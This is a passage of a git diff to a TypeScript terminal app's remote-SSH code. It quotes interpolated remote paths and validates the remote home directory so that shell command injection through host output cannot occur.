+ if (code !== 0 || !isSafeRemoteHome(home)) return null // fail-open: nothing else would work
const remoteDir = `${home}/.nodeterm`
const sock = `${remoteDir}/hook-${projectId}.sock`
// PER-PROJECT endpoint file. The sock is already per-project, but the endpoint file used to
@@ -117,7 +124,9 @@ export class RemoteHooks {
// Our own spec may already be registered (a reconnect this run) — clear it first.
await this.r.run(hookForwardCancelArgs(conn, controlPath, sock, hook.port)).catch(() => {})
}
- await this.r.run(childArgs(conn, controlPath, `mkdir -p ${remoteDir} && rm -f ${sock}`))
+ await this.r.run(
+ childArgs(conn, controlPath, `mkdir -p ${posixQuote(remoteDir)} && rm -f ${posixQuote(sock)}`)
+ )
const fwd = await this.r.run(hookForwardArgs(conn, controlPath, sock, hook.port))
if (fwd.code !== 0) continue
verified = await this.verifyTunnel(conn, controlPath, sock, hook.token)
@@ -132,7 +141,7 @@ export class RemoteHooks {
// 2. remote endpoint file (0600 via umask) — written only after the tunnel proved live,
// so sessions are never pointed at a socket that answers nothing.
await this.r.run(
- childArgs(conn, controlPath, `umask 077; cat > ${endpoint}`),
+ childArgs(conn, controlPath, `umask 077; cat > ${posixQuote(endpoint)}`),
remoteEndpointFileContents(sock, hook.token, hook.version)
)
// 3. install the managed hook for each JSON agent (script + merged config).
@@ -140,10 +149,16 @@ export class RemoteHooks {
const script = `${remoteDir}/agent-hooks/${t.agentId}.sh`
const config = `${home}/${t.config}`
await this.r.run(
- childArgs(conn, controlPath, `mkdir -p ${remoteDir}/agent-hooks && cat > ${script} && chmod 755 ${script}`),
+ childArgs(
+ conn,
+ controlPath,
+ `mkdir -p ${posixQuote(`${remoteDir}/agent-hooks`)} && cat > ${posixQuote(script)} && chmod 755 ${posixQuote(script)}`
+ ),
buildManagedScript(t.agentId, REMOTE_IDENTITY_ROOT)
)
- const { stdout: cfgRaw } = await this.r.run(childArgs(conn, controlPath, `cat ${config} 2>/dev/null || echo '{}'`))
+ const { stdout: cfgRaw } = await this.r.run(
+ childArgs(conn, controlPath, `cat ${posixQuote(config)} 2>/dev/null || echo '{}'`)
+ )
let cfg: HookSettings = {}
try {
cfg = JSON.parse(cfgRaw || '{}') as HookSettings
@@ -152,7 +167,10 @@ export class RemoteHooks {
}
const merged = mergeManagedHook(cfg, buildManagedHookCommand(script), t.events)
await this.r.run(
- childArgs(conn, controlPath, `mkdir -p $(dirname ${config}) && cat > ${config}`),
+ // `$(dirname …)` is itself QUOTED (same reason as installGrokRemote): a home with a
+ // space would otherwise word-split into two mkdir args, the directory would never be
+ // created, and the correctly-quoted `cat >` would then fail — silently, fail-open.
+ childArgs(conn, controlPath, `mkdir -p "$(dirname ${posixQuote(config)})" && cat > ${posixQuote(config)}`),
JSON.stringify(merged, null, 2)
)
}
diff --git a/src/main/remote-ssh/ssh-project.ts b/src/main/remote-ssh/ssh-project.ts
index ef11f1560..f43344ad0 100644
--- a/src/main/remote-ssh/ssh-project.ts
+++ b/src/main/remote-ssh/ssh-project.ts
@@ -8,6 +8,7 @@ import { parseLsDirs, posixQuote, quoteRemotePath, remoteTmuxConf, sshHostKey, t
import type { DownloadResult, SshPassphraseRequest, SshProjectStatusEvent } from '../../shared/types'
import { candidateName, safeDownloadBasename } from '../../core/download-name'
import { findExecutableSync, shellPathNow } from '../../core/exec-path'
+import { isSafeRemoteHome } from '../../core/remote-safety'
import { mediaCachePruneList, remoteMediaCacheName } from '../../core/remote-ssh/media-cache'
import { allowMediaPath } from '../media-protocol'
import { remoteAccountConfigDir, isSupportedClaudeVersion } from '../../core/claude-accounts-core'
@@ -533,8 +534,13 @@ export class SshProjectManager {
// unresolved home just disables the remote context meter / subagent transcript / search.
let remoteHome: string | undefined
try {
+ // Validated, not merely non-empty: this string is interpolated into remote command
+ // lines (the tmux.conf write below) and into the tmux `-e CLAUDE_CONFIG_DIR=…` pair the
+ // PTY manager builds, so a host answer carrying a newline would be a command separator.
+ // Same fail-open direction as the catch — an unusable answer just disables the features
+ // that need an absolute remote home. See `isSafeRemoteHome`.
const r = await this.r.run(childArgs(conn, controlPath, 'printf %s "$HOME"'))
- if (r.code === 0 && r.stdout.trim()) remoteHome = r.stdout.trim()
+ if (r.code === 0 && isSafeRemoteHome(r.stdout.trim())) remoteHome = r.stdout.trim()
} catch {
// fail-open
}
@@ -719,7 +725,7 @@ export class SshProjectManager {
let home = c.remoteHome
if (!home) {
const r = await this.r.run(childArgs(c.conn, c.controlPath, 'printf %s "$HOME"'))
- if (r.code === 0 && r.stdout.trim()) home = r.stdout.trim()
+ if (r.code === 0 && isSafeRemoteHome(r.stdout.trim())) home = r.stdout.trim()
}
if (!home) return null
const token = `${Date.now().toString(36)}${(this.uploadSeq++).toString(36)}`